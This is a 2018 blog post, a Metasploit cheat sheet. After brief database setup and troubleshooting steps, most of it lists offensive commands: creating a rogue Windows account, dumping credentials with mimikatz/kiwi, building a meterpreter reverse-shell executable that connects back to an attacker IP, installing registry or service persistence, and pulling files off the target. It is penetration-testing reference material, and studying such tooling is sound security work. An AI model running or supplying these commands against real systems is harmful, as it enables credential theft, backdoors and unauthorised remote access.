Tech Vomit

METASPLOIT CHEATSHEET

12 Jul
2018

SETUP THE DATABASE

```
service postgresql start
kali msfdb init
```

Test it:

```
msfconsole
db_status
```

You'll know it worked if you see `[*] postgresql connected to msf` .
Resource: https://docs.kali.org/general-use/starting-metasploit-framework-in-kali

TROUBLESHOOTING DATABASE CONNECTIVITY ISSUES

Start by restarting the postgres service:
`service postgresql restart`

If that doesn't work, try destroying and recreating the database:

```
msfdb delete
msfdb init
```

Then test it:

```
msfconsole
db_status
```

Resource: https://stackoverflow.com/questions/32561760/metasploit-cant-use-default-msf3-to-connect

METERPRETER

GET CURRENT USER INFO

```
getuid
```

VIEW RUNNING JOBS

Useful if you're running something with `exploit -j -z`

```
jobs
```

UPLOAD FILE

You could use this in conjunction with an Empire payload for example

```
upload /tmp/launcher.bat C:\\Users\\target_user\\Downloads
```

CREATE ROGUE USER ON A WINDOWS SYSTEM

```
run getgui -u <user to create> -p <password to set>
```

Resource: https://www.coengoedegebure.com/hacking-windows-with-meterpreter/#anchor_createanewaccount

MIMIKATZ

To get started, run:

```
load kiwi
```

Show commands

```
help
```

Dump all creds:

```
creds_all
```

Run mimikatz command examples

```
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f sekurlsa::logonPasswords
mimikatz_command -f samdump::hashes
```

INTERACT WITH HARVESTED CREDENTIALS

List credentials

```
creds
```

Delete all smb credentials

```
creds -d -p 445
```

PERSISTENCE

Generate a malicious exe (note that the payload you choose may be different):

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attackers ip> LPORT=4444 -f exe -o /tmp/evil.exe
```

Run this in meterpreter:

```
run post/windows/manage/persistence_exe REXEPATH=/tmp/evil.exe REXENAME=default.exe STARTUP=USER LocalExePath=C:\\tmp
```

or background meterpreter and use the post module:

```
use post/windows/manage/persistence_exe
set REXEPATH /tmp/evil.exe
set SESSION <session number>
set STARTUP USER
set LocalExePath C:\\tmp
run
```

`STARTUP` can be USER (registry key will be put into HKCU - HKEY_CURRENT_USER), SYSTEM (registry key will be put into HKLM - HKEY_LOCAL_MACHINE), or SERVICE (a rogue service will be created) which doesn't seem to work very well.

CLEANUP

The cleanup rc file does not work very well. As a result, you should take note of the registry key and associated file that are dropped for cleanup later, and make sure to note which user you're running as. To remove the registry key (let's say that USER was specified for the `STARTUP` value and `hFaZvOAsF` is the key), run the following command:

```
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ /v hFaZvOAsF /f
```

RUN COMMANDS ON LOCAL SYSTEM

All you need to do is add an "l" before the command you want to run.

CURRENT DIRECTORY ON SYSTEM RUNNING MSF

```
lpwd
```

RUN LS

```
lls
```

CHANGE DIRECTORY

```
lcd <target dir>
```

DOWNLOAD REMOTE FILE TO CURRENT DIRECTORY

```
download <filename>
```

The file will be in lpwd.

CHANNELS

You can spawn a channel off of a session by hitting `ctrl-z`.

LIST

```
channel -l
```

INTERACT

```
channel -i <id>
```

DESTROY

```
channel -k <id>
```

EDIT REMOTE FILE

```
edit /path/to/file
```

Resource: https://stackoverflow.com/questions/30642668/metasploit-meterpreter-session-editing-files-with-vi-editor

START IN QUIET MODE

```
msfconsole -q
```

Resource: https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf

SHOW ADVANCED MODULE OPTIONS

```
show advanced
```

JAYSON GRACE

SHARE THIS POST